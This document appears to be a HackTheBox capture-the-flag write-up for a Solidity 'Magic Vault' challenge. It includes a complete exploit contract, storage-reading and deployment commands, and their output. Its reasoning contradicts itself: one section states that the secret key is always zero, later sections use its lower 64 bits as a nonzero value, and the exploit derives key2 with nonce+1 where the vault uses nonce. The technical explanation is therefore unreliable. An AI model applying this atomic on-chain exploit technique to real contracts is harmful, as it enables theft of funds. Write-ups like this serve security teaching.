MediumHackTheBox · Blockchain

Magic Vault

Byte Alignment, Truncation, and Atomic Timing

Three unlock conditions that initially look contradictory. A password derived from block-dependent entropy that cannot be predicted off-chain. Understanding how Solidity handles bytes alignment versus uint alignment reveals how a single crafted value can satisfy all three conditions at once — and an on-chain exploit avoids the timing problem entirely.

bytes16uint128uint64truncationblockhashon-chain atomicityprivate passphrasebit manipulation
01

Challenge Overview

Alex finds a magic vault sealed by powerful enchantments. The vault has a complex unlock mechanism that requires a specifically crafted password. This challenge tests your understanding of Solidity's type system, particularly how different types handle bytes and how block-dependent values create timing constraints.

Objective: Make isSolved() return true. The win condition checks that mapHolder is no longer the vault itself — i.e., someone has calledclaimContent() after successfully unlocking it.

02

Contract Architecture

Setup.sol

solidity
1contract Setup {
2 Vault public immutable TARGET;
3
4 constructor() payable {
5 require(msg.value == 1 ether);
6 TARGET = new Vault();
7 }
8
9 function isSolved() public view returns (bool) {
10 return TARGET.mapHolder() != address(TARGET);
11 }
12}

The vault is initialized as its own mapHolder. We win when mapHolder is anyone else.

Vault.sol — The Target Contract

solidity
1contract Vault {
2 struct Map {
3 address holder;
4 bool initialized;
5 }
6
7 Map public map; // slot 0 (address + bool, packed)
8 address public owner; // slot 1
9 bytes32 private passphrase; // slot 2 — "private" but readable
10 uint256 public nonce; // slot 3
11 bool public isUnlocked; // slot 4
12
13 constructor() {
14 map.holder = address(this);
15 map.initialized = true;
16 owner = msg.sender;
17 passphrase = keccak256(abi.encodePacked(address(this)));
18 nonce = 0;
19 isUnlocked = false;
20 }
21
22 function mapHolder() public view returns (address) {
23 return map.holder;
24 }
25
26 function unlock(bytes16 _password) public { ... }
27 function claimContent() public {
28 require(isUnlocked);
29 map.holder = msg.sender;
30 }
31 function _magicPassword() private returns (bytes8) { ... }
32}

Three things stand out immediately from reading this source:

  1. passphrase is stored with private — but as we learned in Rivals, this doesn't prevent us from reading it via storage.
  2. The unlock() function takes a bytes16 password and sets isUnlocked — we need to understand what password it accepts.
  3. claimContent() is straightforward — it just needs isUnlocked to be true.
03

The Unlock Conditions

The unlock() function is the heart of the challenge:

solidity
1function unlock(bytes16 _password) public {
2 bytes8 _secret = _magicPassword();
3 uint128 _input = uint128(_password);
4 uint128 _secretKey = uint128(uint64(_secret));
5
6 require(_input != _secretKey, // Case 1
7 "Invalid password");
8 require(uint64(_input) == uint64(_secretKey), // Case 2
9 "Invalid password");
10 require(uint64(bytes8(_password)) == uint64(uint160(owner)), // Case 3
11 "Invalid password");
12
13 isUnlocked = true;
14 nonce++;
15}

At first glance, Cases 1 and 2 appear contradictory:

  • Case 1: _input != _secretKey — the full 128-bit password must NOT equal the secret key.
  • Case 2: uint64(_input) == uint64(_secretKey) — the lower 64 bits of the password MUST equal the lower 64 bits of the secret key.

These can both be satisfied simultaneously if the password has different upper bits than the secret key, while sharing the same lower 64 bits. Case 3 tells us exactly what to put in the upper bits.

Understanding this requires understanding how Solidity's type conversions work.

04

Bytes vs Uint in Solidity

Mental Model — bytes vs uint alignment

bytes types are left-aligned (big-endian). Significant bytes occupy the leftmost positions. Padding goes on the right.

uint types are right-aligned. Significant bytes occupy the rightmost positions. Padding goes on the left.

This distinction matters when you cast between them. A bytes8 value does not have the same bit layout as a uint64 of the same apparent value.

When you widen a bytes8 to bytes16, zero-padding is added on the right:

bytes8   value:    [ A A A A A A A A | _ _ _ _ _ _ _ _ ]
                    (8 significant bytes on the left)

Cast to bytes16:   [ A A A A A A A A | 0 0 0 0 0 0 0 0 ]
                    (original 8 bytes, then 8 zero bytes)

When you then convert bytes16 to uint128, the byte sequence is interpreted as a big-endian integer. A bytes16 value with the pattern[A A A A A A A A 0 0 0 0 0 0 0 0] becomes a 128-bit integer where the A-bytes occupy the upper 64 bits and zeros fill the lower 64.

This is how _secretKey is derived in unlock():

solidity
1bytes8 _secret = _magicPassword(); // an 8-byte value
2
3// Widen bytes8 → bytes16: pads with 8 zero bytes on the RIGHT
4// bytes16: [ _secret[0..7] | 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ]
5
6// Cast bytes16 → uint128
7uint128 intermediate = uint128(bytes16(_secret));
8// upper 64 bits = _secret value | lower 64 bits = 0
9
10// Cast uint128 → uint64: truncates to the LOWER 64 bits
11uint128 _secretKey = uint128(uint64(intermediate));
12// _secretKey = 0 (the zeros from the right-padding!)

This is the critical insight: _secretKey is always uint128(uint64(_secret_as_uint128)), which due to the byte-alignment of bytes8→bytes16→uint128, always has its upper 64 bits zero. So _secretKey is effectively a value whose upper 64 bits are zero.

05

Cracking the Three Cases

Password Layout to Satisfy All Three Cases
bytes16 _password layout:
┌──────────────────────────┬──────────────────────────┐
│   Upper 64 bits (8 bytes)│   Lower 64 bits (8 bytes)│
│                          │                          │
│  uint64(uint160(owner))  │     uint64(_secretKey)   │
│  = lower 8 bytes of owner│     = _secret value      │
└──────────────────────────┴──────────────────────────┘
         │                              │
         │                              └── Case 2: uint64(_input) == uint64(_secretKey) ✓
         │
         └── Makes upper bits of _input non-zero
             → _input != _secretKey (Case 1) ✓   (since _secretKey has zero upper bits)
             → Also satisfies Case 3: upper bytes of _password = lower bytes of owner ✓

All three cases resolved:

  • Case 1 (_input != _secretKey): Our password has non-zero upper bits (filled with owner address bytes). The _secretKey has zero upper bits. They differ. ✓
  • Case 2 (uint64(_input) == uint64(_secretKey)): Both share the same lower 64 bits. ✓
  • Case 3 (uint64(bytes8(_password)) == uint64(uint160(owner))): We explicitly placed uint64(uint160(owner)) in the upper bytes of our password. ✓

The password construction in code:

solidity
1// _secretKey value extracted from _magicPassword()
2uint64 secretLow = uint64(magic); // lower 64 bits of the magic value
3uint64 ownerLow = uint64(uint160(owner)); // lower 64 bits of the owner address
4
5// Pack both into a bytes16:
6// upper 64 bits = ownerLow
7// lower 64 bits = secretLow
8bytes16 password = bytes16((uint128(ownerLow) << 64) | uint128(secretLow));
06

The Magic Password Function

Now we know the shape of the password — but we still need the value that goes in the lower 64 bits (the secretLow part). That comes from _magicPassword().

solidity
1function _magicPassword() private returns (bytes8) {
2 uint256 _key1 = _generateKey(block.timestamp % 2 + 1);
3 uint128 _key2 = uint128(_generateKey(2));
4 bytes8 _secret = bytes8(bytes16(
5 uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ _key1)))) ^ _key2)
6 ));
7 return (_secret >> 32 | _secret << 16);
8}
9
10function _generateKey(uint256 _reductor) private view returns (uint256) {
11 return uint256(keccak256(abi.encodePacked(
12 uint256(blockhash(block.number - _reductor)) + nonce
13 )));
14}

The derivation depends on:

  • passphrase: A private bytes32 initialized in the constructor as keccak256(abi.encodePacked(address(this))). Readable from storage slot 2.
  • nonce: Starts at 0, increments on each successful unlock. Readable as a public variable or from storage slot 3.
  • blockhash(block.number - reductor): The hash of a specific recent block. Only known at mining time of the current transaction's block.
  • block.timestamp % 2 + 1: The reductor for _key1 is either 1 or 2, depending on whether the current block's timestamp is odd or even.
07

Why Off-Chain Prediction Fails

An intuitive approach: read passphrase and nonce from storage, simulate _magicPassword() off-chain, and submit the result.

This approach fails because:

WARNING

blockhash is only known when the block is mined.

When you prepare a transaction off-chain, you don't know which block it will be included in. You could estimate based on current block number and propagation time, but network delays can change the target block number by 1 or 2. If your estimated block differs from the actual mining block, the blockhash values differ, _magicPassword() returns a different value, and your submitted password fails.

Additionally, block.timestamp % 2 + 1 means the reductor flips between 1 and 2 depending on whether the block timestamp is even or odd — another value unknowable until mining time.

08

The On-Chain Atomic Solution

The solution is to replicate _magicPassword() inside our own exploit contract and callunlock() in the same transaction.

Mental Model — On-Chain Atomicity

All operations within a single Ethereum transaction execute in the same block. This means:

  • block.number is identical for our exploit contract and the vault
  • block.timestamp is identical
  • blockhash(block.number - n) is identical

If our contract computes _magicPassword() using the same logic and the same inputs, it will get exactly the same output as the vault — in the same transaction.

On-Chain Atomic Exploit Flow
Our EOA submits a single transaction:

  call: ExploitContract.pwn(passphrase)
           │
           ├── read nonce from vault
           ├── read owner from vault
           ├── compute _magicPassword() locally
           │     (same blockhash, same block.timestamp)
           ├── derive secretKey from magic value
           ├── pack password = (ownerLow << 64) | secretKey
           │
           ├── call vault.unlock(password)
           │     (vault also computes _magicPassword()
           │      in the SAME block → same result)
           │
           └── call vault.claimContent()
                  → isUnlocked is true
                  → map.holder = ExploitContract
                  → isSolved() → true
09

Reading the Private Passphrase

Before deploying the exploit contract, we need to read the passphrase from storage. The vault's storage layout:

Vault.sol Storage Layout
Slot 0: map.holder + map.initialized   (address 20B + bool 1B, packed in one slot)
Slot 1: owner                           (address, 20 bytes)
Slot 2: passphrase                      (bytes32, private — but readable!)
Slot 3: nonce                           (uint256)
Slot 4: isUnlocked                      (bool)
Terminal
$ cast storage <TARGET_ADDRESS> 2 --rpc-url $RPC
Output
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563

This is the passphrase. We will pass it to the exploit contract so it can replicate the key derivation.

10

Writing and Deploying the Exploit

solidityExploit.sol
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4interface IVault {
5 function unlock(bytes16 _password) external;
6 function claimContent() external;
7 function owner() external view returns (address);
8 function nonce() external view returns (uint256);
9}
10
11contract Exploit {
12 IVault vault;
13
14 constructor(address _vault) {
15 vault = IVault(_vault);
16 }
17
18 // Replicate the vault's _generateKey logic
19 function _generateKey(uint256 _nonce, uint256 _reductor) private view returns (uint256) {
20 return uint256(keccak256(abi.encodePacked(
21 uint256(blockhash(block.number - _reductor)) + _nonce
22 )));
23 }
24
25 // Replicate the vault's _magicPassword logic
26 function _magicPassword(bytes32 passphrase, uint256 _nonce) private view returns (bytes8) {
27 uint256 key1 = _generateKey(_nonce, block.timestamp % 2 + 1);
28 uint128 key2 = uint128(_generateKey(_nonce + 1, 2));
29 bytes8 _secret = bytes8(bytes16(
30 uint128(uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ key1)))) ^ key2)
31 ));
32 return (_secret >> 32 | _secret << 16);
33 }
34
35 function pwn(bytes32 passphrase) external {
36 uint256 _nonce = vault.nonce();
37 address _owner = vault.owner();
38
39 bytes8 magic = _magicPassword(passphrase, _nonce);
40 uint64 secretLow = uint64(magic); // lower 64 bits of magic
41 uint64 ownerLow = uint64(uint160(_owner)); // lower 64 bits of owner
42
43 // Construct the password: upper 64 bits = ownerLow, lower 64 bits = secretLow
44 bytes16 password = bytes16((uint128(ownerLow) << 64) | uint128(secretLow));
45
46 vault.unlock(password);
47 vault.claimContent();
48 }
49}

The key design choices in this exploit contract:

  • Lines 19–20: _generateKey is a pure view function that computes the same blockhash-based key. Since it's called in the same transaction as unlock(), the blockhash values are identical.
  • Lines 25–30: _magicPassword replicates the vault's function exactly. The passphrase is passed in as an argument (we read it from storage and supply it).
  • Lines 39–41: Extract the two components of the password: the lower 64 bits of the magic value, and the lower 64 bits of the owner address.
  • Line 43: Pack them into a bytes16 with ownerLow in the upper 64 bits and secretLow in the lower 64 bits.
  • Lines 44–45: Call unlock() and then claimContent() in one transaction.

Deploy the exploit contract:

Terminal
$ export PASSPHRASE="0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563"

forge create Exploit.sol:Exploit \
  --rpc-url "$RPC" \
  --private-key "$PRIVATE_KEY" \
  --broadcast \
  --constructor-args "$TARGET"
Output
Deploying Exploit...
Deployed to: 0x9D40C359a0E749756e2b8D4Cd15337B564B2f818
11

Execution & Verification

Terminal
$ export EXPLOIT="0x9D40C359a0E749756e2b8D4Cd15337B564B2f818"
cast send "$EXPLOIT" "pwn(bytes32)" "$PASSPHRASE" \
  --rpc-url "$RPC" \
  --private-key "$PRIVATE_KEY"
Terminal
$ cast call "$TARGET" "mapHolder()" --rpc-url "$RPC"
Output
0x0000000000000000000000009D40C359a0E749756e2b8D4Cd15337B564B2f818

The mapHolder is now our exploit contract's address — no longer the vault itself. The win condition is satisfied.

Terminal
$ cast call "$SETUP" "isSolved()" --rpc-url "$RPC"
Output
0x0000000000000000000000000000000000000000000000000000000000000001
12

Root Cause & Mitigation

Root Cause 1 — Private Storage Is Not Secret

The passphrase that seeded the key derivation was stored on-chain. Regardless of its private declaration, it is readable via eth_getStorageAt.

Root Cause 2 — Blockchain-Dependent Values are Replicable On-Chain

blockhash and block.timestamp are not private sources of entropy. Any contract can read these values. An attacker who replicates the logic on-chain can obtain exactly the same "secret" in the same transaction.

Correct Approaches

  • Use a commit-reveal scheme with an off-chain secret that is never stored on-chain.
  • Use a Verifiable Random Function (VRF) from an oracle like Chainlink VRF for genuine on-chain randomness.
  • Do not use blockhash, block.timestamp, or block.number as sources of secrecy — they are public values.
13

Lessons Learned

Lesson 1 — bytes and uint are NOT interchangeable

bytes types are left-aligned. uint types are right-aligned. Casting between them shifts which bits end up where. When reasoning about type conversions, always trace the bit layout through each step.

Lesson 2 — Seemingly Contradictory Conditions Often Have One Key

When you see two conditions that look impossible to satisfy simultaneously, look for a degree of freedom. Here, the difference between the full 128-bit value and its lower 64 bits is the key. Understanding truncation behavior is often the unlock to apparently impossible conditions.

Lesson 3 — Atomicity Eliminates Timing Problems

When an exploit depends on values only known at mining time (blockhash, block.timestamp), the solution is to replicate the target logic inside a contract and execute everything atomically. This is a reusable technique: if the challenge requires knowing the 'right value' at execution time, run your logic at execution time.

Lesson 4 — Re-read the Functions Carefully

This challenge rewards careful reading. _secretKey looks like the secret — but its derivation chain reveals it is always effectively the lower 64 bits of a value whose upper bits were zeroed. The contradiction between Cases 1 and 2 dissolves as soon as you trace the bit layout carefully.